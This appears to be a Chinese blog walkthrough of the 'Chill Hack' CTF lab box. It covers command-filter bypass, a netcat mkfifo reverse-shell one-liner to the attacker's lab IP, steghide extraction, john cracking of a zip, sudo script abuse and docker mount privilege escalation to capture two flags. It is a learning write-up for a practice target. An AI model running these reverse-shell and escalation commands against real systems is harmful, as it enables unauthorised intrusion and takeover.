CTF之一次曲折获取Flag的过程

Hello各位朋友们,我是小杰,今天我们继续CTF之旅。

好,直接步入正题,先看看这次的题目描述。

图片

通过题目描述,是有一个什么鬼机器人,能和世界进行交流巴拉巴拉图片......初步确定是需要获取两个Flag,题目的关键字是“枚举”。

好的,打开靶标系统~

图片

映入眼帘的就是这个CHILL HACK的字样,还有一个“骷髅头”。下边有一处登陆系统的地方。

 

很好,打开我们的“hack”机器——Kali2020。(这里为什么不用忍者系统一会儿说明。)

图片

 

首先确定我们攻击机的IP地址:192.168.187.130

图片

 

进行网段扫描,确认靶机的IP为192.168.187.137

图片

可以看到靶机系统开放了21、22、80三个端口。

我们先访问80

瞅瞅~

图片

图片

 

界面花里胡哨的图片,随便浏览了几下发现是一个纯静态站点,搜索框什么的都是假的,似乎没什么好利用的。

 

接下来去看看21端口。

图片

嗯,有一个txt文件,打开看看

图片

这里有一个叫“Apaar”的用户给了这么一句提示,大概意思说“Anurodh”用户说命令中会有一些过滤,可能和命令执行有关,这里先记下来,后面可能会用到

继续浏览没什么发现了,扫扫目录看看。

图片

这里看看有一个secret文件夹,我们去浏览器中查看一番。

是一个执行命令的地方。

结合我们之前得到的信息,命令执行会被过滤,这里应该就是让我们绕过拦截了。

先执行几下看看。

图片

执行ls、cat、less、more等等命令都会弹出"Are you a hacker?"

经过多次尝试,我发现执行tac可以绕过检测。

tac index.php

查看页面源代码

图片

果然是有过滤,这里的代码是把我们输入的命令按照空格间隔开,之后进行匹配,这里直接命令执行绕过getshell。

我这里使用nc进行getshell。

Kali进行监听。

nc -lvp 6666

图片

靶机执行命令,反弹shell,

这里利用Linux下nc命令执行反弹shell的方式

ls;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.187.130 6666 > /tmp/f

图片

图片

nice图片,这里我们已经getshell,看看权限。

图片

我们获取的是用户www-data的权限,等级较低,

考虑到后续的操作,这里进行提权。

 

刚刚在网页中测试时,我们看到靶机上是装有python的,所以这里使用python进行提权。

python3 -c "import pty;pty.spawn('/bin/bash')"

图片

ok,提权成功,接下来浏览浏览目录。看看能不能直接找到Flag图片

 

Flag没找到,不过看到一个hacker.php的文件很可疑

图片

黑客:你竟然已经走到这一步了!看着这片黑暗,你将会找到答案.......(出题的作者中二病犯了图片,有我当年风范图片)啊哈哈哈....

<html>
<head>
<body>
<style>
body {
  background-image: url('images/002d7e638fb463fb7a266f5ffc7ac47d.gif');
}
h2
{
        color:red;
        font-weight: bold;
}
h1
{
        color: yellow;
        font-weight: bold;
}
</style>
<center>
        <img src = "images/hacker-with-laptop_23-2147985341.jpg"><br>
        <h1 style="background-color:red;">You have reached this far. </h2>
        <h1 style="background-color:black;">Look in the dark! You will find your answer</h1>
</center>
</head>
</html>

代码中这个图片的名字叫法外加神神叨叨的这段话,估计是CTF中的隐写术了。

我淦!我不会隐写术啊图片

图片

 

网上查了查资料,貌似有一款隐写的工具可以破解利用一下。

那就先下载到本地看看吧图片

 

在靶机利用python启动一个web服务器(在images目录下启动)

python3 -m http.server 8080

图片

在Kali上进行下载

  •  
wget http://192.168.187.137:8080/hacker-with-laptop_23-2147985341.jpg

图片

 

这里用到的隐写破解工具是steghide

具体使用方法可以在官网查看http://steghide.sourceforge.net/

 

好,拿着工具干它一波图片

  •  
steghide extract -sf hacker-with-laptop_23-2147985341.jpg

图片

nice,提取出了图片中隐藏的压缩文件backup.zip

 

解压缩,发现需要解压密码......

图片

彳亍口巴,祭出神器——开膛手约翰(john)

图片

john是Sectools排行榜上前十的密码破解工具,功能十分强大。

这里我也要顺便说一下为啥这次不用忍者的原因,忍者上没有集成john和steghide,再安装的话过于耗费时间,还有就是忍者需要的电脑资源实在是太大了,16G内存的我有点吃不消图片

 

有的大佬会说hashcat也可以破解,忍者上是有hashcat的,不过我玩的不熟练,索性就直接kali一步到位了图片

图片

 

好了,废话不多说,继续。

先生成hash文件。

zip2john backup.zip > backup.hash

图片

john --wordlist=/usr/share/wordlists/rockyou.txt backup.hash
john backup.hash --show

使用john加载本地字典进行破解,这里破解成功,显示密码为pass1word

图片

接下来进行文件解压,查看解压的文件内容:

图片

<html>
<head>
        Admin Portal
</head>
        <title> Site Under Development ... </title>
        <body>
                <form method="POST">
                        Username: <input type="text" name="name" placeholder="username"><br><br>
                        Email: <input type="email" name="email" placeholder="email"><br><br>
                        Password: <input type="password" name="password" placeholder="password">
                        <input type="submit" name="submit" value="Submit"> 
                </form>
<?php
        if(isset($_POST['submit']))
        {
                $email = $_POST["email"];
                $password = $_POST["password"];
                if(base64_encode($password) == "IWQwbnRLbjB3bVlwQHNzdzByZA==")
                { 
                        $random = rand(1000,9999);?><br><br><br>
                        <form method="POST">
                                Enter the OTP: <input type="number" name="otp">
                                <input type="submit" name="submitOtp" value="Submit">
                        </form>
                <?php   mail($email,"OTP for authentication",$random);
                        if(isset($_POST["submitOtp"]))
                                {
                                        $otp = $_POST["otp"];
                                        if($otp == $random)
                                        {
                                                echo "Welcome Anurodh!";
                                                header("Location: authenticated.php");
                                        }
                                        else
                                        {
                                                echo "Invalid OTP";
                                        }
                                }
                }
                else
                {
                        echo "Invalid Username or Password";
                }
        }
?>
</html>

阅读代码,看到一处使用base64加密的地方,解密看一下。

图片

解密得到密码

 

!d0ntKn0wmYp@ssw0rd

图片

登陆密码拿到手了,开始找账户进行登陆,最终在home目录下看到三个用户

图片

是不是很眼熟图片,前两个用户就是我们刚开始通过ftp获得到的那个文本文件中的两个用户。

 

拿着我们刚刚获取到的账号密码,尝试ssh登陆,经测试发现anurodh是可以登陆的。

 

ssh anurodh@192.168.187.137

图片

 

使用sudo -l查看sudo的权限,发现可以使用apaar身份执行一个脚本文件

 

sudo -l

图片

 

继续~

apaar目录是可以进入的,不过里面的local.txt文件不可以读取

图片

 

查看执行权限,读取隐藏文件helpline.sh

图片

观察发现,msg这个地方是存在命令执行的


我们可以切换到apaar身份去执行输出local.txt的内容

sudo -u apaar ./.helpline.sh

图片

果不其然,拿到了第一个Flag图片

 

ok,继续。

查看anurodh用户信息

图片

 

发现有docker组

尝试列出本地镜像

 

docker images -a

图片

 

既然有本地docker镜像,那就尝试docker提权

 

docker run -v /:/mnt  -it alpine

图片

 

提权成功,ok,继续搜索关键文件

图片

 

输出proof.txt

图片

 

Ohhhhh~~~图片图片图片

图片

终于拿到了最终的Flag图片

图片

 

小节:不容易图片,搞了近十个小时,前期由于攻击平台的工具版本问题,好几处破解、提权的地方都莫名报错,从kali2017逐个版本硬是换到kali2020才逐步把问题解决。看了网上很多师傅的思路,也学习到了不少新姿势图片图片图片

 

  • 8
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值